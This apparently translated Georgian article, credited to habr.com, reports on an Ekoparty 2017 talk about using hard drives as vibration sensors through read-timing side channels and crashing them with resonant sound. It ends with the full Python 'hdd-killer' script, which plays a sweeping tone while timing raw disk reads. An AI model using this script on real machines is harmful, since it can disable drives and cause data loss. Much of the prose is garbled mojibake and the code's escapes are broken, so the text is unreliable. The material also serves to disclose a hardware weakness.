แแฃแแแแก-แแแ แแกแจแ Ekoparty 2017 แแแแแแฃแขแแ แฃแแ แฃแกแแคแ แแฎแแแแแก แแแแคแแ แแแชแแแแ แแ แแแแขแแแแแแ แฐแแแแ แแ แแแคแ แแแ แแ แขแแแแ แแฉแแแแ แซแแแแแ แกแแแแขแแ แแกแ แแแแแแแแ แแแ - แจแแแแแแแแก แคแแ แฃแแ แแแกแแแแแก แกแแกแขแแแ แแแแ แแคแแแแก แแแแแงแแแแแแก แแแ แแจแ. แฎแแ
HDD แซแแ แแแแแแ แแฆแแแก แแแฆแแแ แแแขแแแกแแแแแแก แแแแแแ แกแแฎแจแแ แแก แฎแแแแก, แแแแแฏแแแก แแ แกแฎแแ แแแแ แแชแแแก. แแแแแแแแแก แแแขแงแแแแแแ แฏแแ แแ แแ แแก แแฆแแแ แแแฃแแ, แแฃแแชแ แแแชแแแแ แแแ
แฎแแ แแ แแก แฐแแแ แแก แแ แกแฎแแ แกแแจแฃแแแแแแก แแแแ แแชแแ. แแแแแแแแ แแแ แแฆแแฅแแแแก แงแฃแ แแก แแแ แแแก แกแแจแฃแแแแแแ, แ แแแแแแช แแแแ แแชแแแก แแแแแกแชแแแก แจแแแ แงแฃแ แก. แแแแ แแคแแแ แแแแฎแแแแแแ แงแฃแ แแก แแกแแแแกแแ แจแแฅแแแแแ โ แแฅแแช แแแแ แแชแแแแ แคแแฅแกแแ แแแแ แแฎแแแ แแแ แกแแ, แ แแแแแแช แแฆแแแแแแแก แแแแฅแขแ แฃแ แแแแฃแแกแก. แแงแแ แ แแแกแแ, แ แ แแฅแแ แฃแแแ, แแกแแแ แแฅแแแแแแแแ แแแ แแแแ แแกแแแแฃแ แแแแ แแชแแแก แแแ แแแแแชแแแแ แฐแแแ แแก แ แงแแแแแแก แแแแ. แแก แชแแแแแแแ HDD-แแแแก แขแแฅแแแแฃแ แ แแแฎแแกแแแแแแแแแแแแแแช แแ: แแฌแแ แแแแแแแแ แฉแแแฃแแแแ แแ แแแฃแแแแแแแ แแแแ แแชแแแก แแแฅแกแแแแแฃแ แแแกแแจแแแ แแแแแก, แฎแแแ แแแแแ แแงแแ แ แแแกแแ แฎแจแแ แแ แชแแแแแแก แแแก แแแแแแแกแแแแก แ แแแแแแก แแ แกแฎแแ แกแแแแแแแชแแ แแแกแแแแกแแแ แแแแแแแแแฃแ แแแแ แแชแแฃแ แแแแขแแแแแ แจแ. แแฅแแแแ แแแแแแแ แแแแแกแแแแแ, แ แแ แแแแ แแแแก แฉแแฌแแ แ แจแแกแแซแแแแแแแ HDD-แแก แแแแแงแแแแแแ. แ แฉแแแ แแฎแแแแ แแแแก แแแ แแแแแ, แแฃ แ แแแแ .
แแแคแ แแแ แแ แขแแแแ แจแแแแแแแแแแแ แแแแ แแแแ แแ แฎแแก แจแแขแแแแก แฃแแแแแแฃแ แ แแแ แกแแ, แแแ แซแแ, แแ แแแก แจแแขแแแ. แแก แจแแขแแแ แแคแฃแซแแแแ แแแ แแฃแแก, แ แแ แกแฎแแแแแกแฎแแ แแแแ แแชแแแแ แจแแกแ แฃแแแแฃแแแ แแแฌแงแแแแแแแแแ แกแฎแแแแแกแฎแแ แแ แแก, แแแชแแแฃแแ แจแแงแแแแแก แแแแแชแแแแแแก แแแฎแแแแแ. แแ แจแแแแฎแแแแแจแ, โแจแแงแแแแแก แแแแแชแแแแแโ แแ แแก แแแแฎแแแก แแแแแกแ แแ HDD แแแแขแแ แแก แแแแ แแชแแแแ, แ แแแแแแแช แแแแแแจแแ แแแฃแแแ แแแ แแแแก แแแแ แแชแแแแแแ, แแแฃ แฎแแแกแแแ. แแแ แแแแ, แแแแแแแแแแ แแ แแแก แแแแแแแแ แแ แแแแแชแแแแแแก แกแขแแขแแกแขแแแฃแ แ แแแแแแแแก แจแแกแ แฃแแแแแ, แจแแแซแแแแ แแแแแแแแก แแแแกแแฎแฃแ แแก/แแแแขแแ แแก แแแแ แแชแแ แแ, แจแแกแแแแแแกแแ, แกแแจแฃแแแ แแแแ แแชแแแแ. แ แแช แฃแคแ แ แแแแแ แแแแแชแแแแแแก แฌแแแแแฎแแแก แจแแคแแ แฎแแแ, แแแ แฃแคแ แ แซแแแแ แแ HDD-แแก แแแแ แแชแแ แแ, แจแแกแแแแแแกแแ, แฃแคแ แ แแแฆแแแ แฎแแ.
แ แแแแ แแแแแแแแ แแงแแ แ แแแกแแแก แแแแ แแชแแ? แซแแแแแ แแแ แขแแแแ: แฃแแ แแแแ แแแฃแจแแแ แกแแกแขแแแฃแ แ แแแ แ read ()
- แแ แฉแแฌแแ แแ แแ แ, แ แแแแแแช แกแญแแ แแแแ แแแกแ แฃแแแแแก. แแแแแแแแ แแแ แแแแ แแชแแฃแแ แกแแกแขแแแแแ แกแแจแฃแแแแแแก แแแซแแแแ แฌแแแแแแฎแแ แกแแกแขแแแฃแ แ แแแ แแแแก แแ แ แแแแแฌแแแแก แกแแแฃแกแขแแ.
แกแแฅแขแแ แแแแ แแแคแแ แแแชแแแก แฌแแแแแฎแแแก แกแแฉแฅแแ แ แแแแแแแแแแฃแแแ แแแแแกแ แแ แคแแ แคแแขแแก แแแแแชแแแแ, แ แแช แแแ แแแแชแแแจแแ HDD แแแ แแฃแกแแก แแแแ แแชแแแกแแแ. แฒกแฃแ แแก แแ แแก.
แกแขแแขแแกแขแแแฃแ แ แแแแแแแ แฎแแ แชแแแแแแแ แแแ แขแแแ Kscope แฃแขแแแแขแแก แแแแแงแแแแแแ. แ แแแแ แช แแแแแแแ, แงแแแแแคแแ แ แแแแแแแฃแ แ แแแ แขแแแแ.
Kscope แฃแขแแแแขแ (stat() syscall)
Kscope แแ แแก แแแขแแ แ แแ แแแ แแแ แกแแกแขแแแฃแ แ แแแ แแก แจแแกแ แฃแแแแแก แแ แแจแ แแชแแ แ แแแแกแฎแแแแแแแแแก แแแแฃแแแแแแชแแแกแแแแก. แฌแงแแ แ
แชแแแแ แกแแชแแแจแ read ()
.
แฎแแแก แฉแแฌแแ แแก แแแแแแกแขแ แแ แแแ HDD-แแก แแแแแงแแแแแแ, Kscope แฃแขแแแแขแแก แคแฃแแฅแชแแแแแ แแแ
แ แ แแฅแแ แฃแแแ, แแแขแงแแแแแแแก แแแแแแ แแ แแแแ แจแแฃแซแแแแแแแ, แแแแ แแ HDD แกแแแแแแ แจแแกแแคแแ แแกแแ, แ แแแแ แช แแแแ แแชแแแก แกแแแกแแ แ. แแแแแแแแแ, แจแแแแซแแแแ แแแ แแแแกแขแ แแ แแแ, แแฃ แแแแแแแแ, แ แแแแแกแแช แแชแแแ แแงแแ แ แคแแฎแกแแชแแแแ แแ แคแแฎแจแแจแแแแ, แจแแแแแ แแแแฎแจแ แแแแแแฃแขแแ แแ (แแแแแ, แแฃ แแแแแแแกแฎแแแแก แแชแแแ แ แแแแ แกแแแ แขแฃแแ แคแแฎแกแแชแแแแ แแ แแแขแแแแ แกแฅแแแ แฎแแแแฉแแ, HDD แแแ แจแแซแแแแก แแแแ แแชแแแก แ แแแแกแขแ แแชแแแก - แแแแก แจแแแแฌแแแแ แฆแแ แก). แแแแแแฃแขแแ แก แจแแฃแซแแแ แแแแ แแแแกแขแ แแ แแก แแแขแแฎแแแ แแแแ แแ แกแฎแแ แแแชแแแแแขแแแ แซแแแแ แ แฎแแแก แแแขแแแกแแแแแแ. แแแฃ, แแงแแ แ แแแกแแ แจแแแซแแแแ แแงแแก แแ แแแแแ แ แแ แแแแขแแ แแแแแฃแแ แจแแญแ แแก แแแแแแแแแแก แกแแกแขแแแ.
HDD แแแแแแแ
แกแฎแแแแ แจแแ แแก, แแกแแแแกแ แขแแฅแแแแแก แแแแแงแแแแแ แจแแกแแซแแแแแแแ แแงแแ แ แแแกแแแแแก แแแแแ แแแแกแแแแก. แแฎแแแแ แแฅ แฉแแแ แแ แแฎแกแแแ แ แฎแแแแแก HDD-แแแ, แแ แแแแ, แแแ แแฅแแ, แแแฌแแ แแแแแ แ แฎแแแแแก, แ แแแแแแแช แแแแแแแแ HDD-แแ. แแฃ แแแแแแแแแแแ แฎแแแก แฃแแ แแแ แแกแแ แกแแฎแจแแ แแแ, แ แแแแแแช แ แแแแแแแกแก แฃแฌแแแก HDD แกแแฎแจแแ แแก, แกแแกแขแแแ แแแแ แแแแแ แแแแก แแแฌแงแแแแแแแแก I/O แจแแชแแแแแ (Linux-แแก แแแ แแแ แแแแแแแแ แแแจแแแก HDD-แก 120 แฌแแแแก แจแแแแแ). แแแแแ แแงแแ แ แแแกแแ แจแแแซแแแแ แแแแแชแแแแก แจแแฃแฅแชแแแแแ แแแแแแแแแ.
Linux-แแก แแแ แแแแ แแแแแ แแ แแงแแ แ แแแกแแ Edifier r120u USB แแแแแแแแแก แแแแแแแแแก แแแจแแแแแแ แ แแแแแแแกแฃแแ แกแแฎแจแแ แแ แฎแแแก แแแฌแแแแแแแแ 19 แฌแแแแก แจแแแแแ. แแแแแแแแ แฉแแ แแฃแแแ แแแแฎแแแแแแ แแแแแฎแแแ แกแแแซแแแแ แแ (100 แแแข-แแ แแแแแแแ) แแ แแแแแแ แแแแก HDD-แแแ 20 แกแ แแแจแแ แแแแ, แ แแแแแแช แแแแแแ แแกแแฎแแแก แแแแแแแก แแแแ แแชแแแก แแแกแแแ แแแแแ. แฉแแ แฉแ แกแแฌแงแแกแ
แกแแแแขแแ แแกแแ, แ แแ HDD-แแแแ แแกแแแ โแจแแขแแแแแโ แแแแฏแแ แกแ แฃแแแแ แจแแแแฎแแแแแ แฎแแแแ แงแแแแแแฆแแฃแ แชแฎแแแ แแแแจแ. แแแแแแแแแ, 2016 แฌแแแก แกแแฅแขแแแแแ แจแ, ING Bank แแแแแชแแแแ แชแแแขแ แ แแซแฃแแแแฃแแ แแแฎแแ แจแแฉแแ แแแฃแแแงแ แแแแ แแชแแแแ 10 แกแแแแแก แแแแแแแแแแแจแ แกแแฎแแแซแ แ แกแฌแแแแแแแก แจแแแแแ.
แแแแแแแแแก แงแแแ แแแแก แแแแแแกแขแ แแ แแแ แแงแแ แแแกแแแแแ แแแแแชแแแแ แชแแแขแ แจแ. แจแแงแแแแแแแก แแแแแแแ
แ แแแแแแแกแฃแแ แฎแแแก แแแแแกแแแฃแจแแแแแแแ, แแแคแ แแแ แแ แขแแแแ แแแฌแแ แ แแแแแแแก แกแแ แแแขแ แ.แฌ
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
แฌแงแแ แ: www.habr.com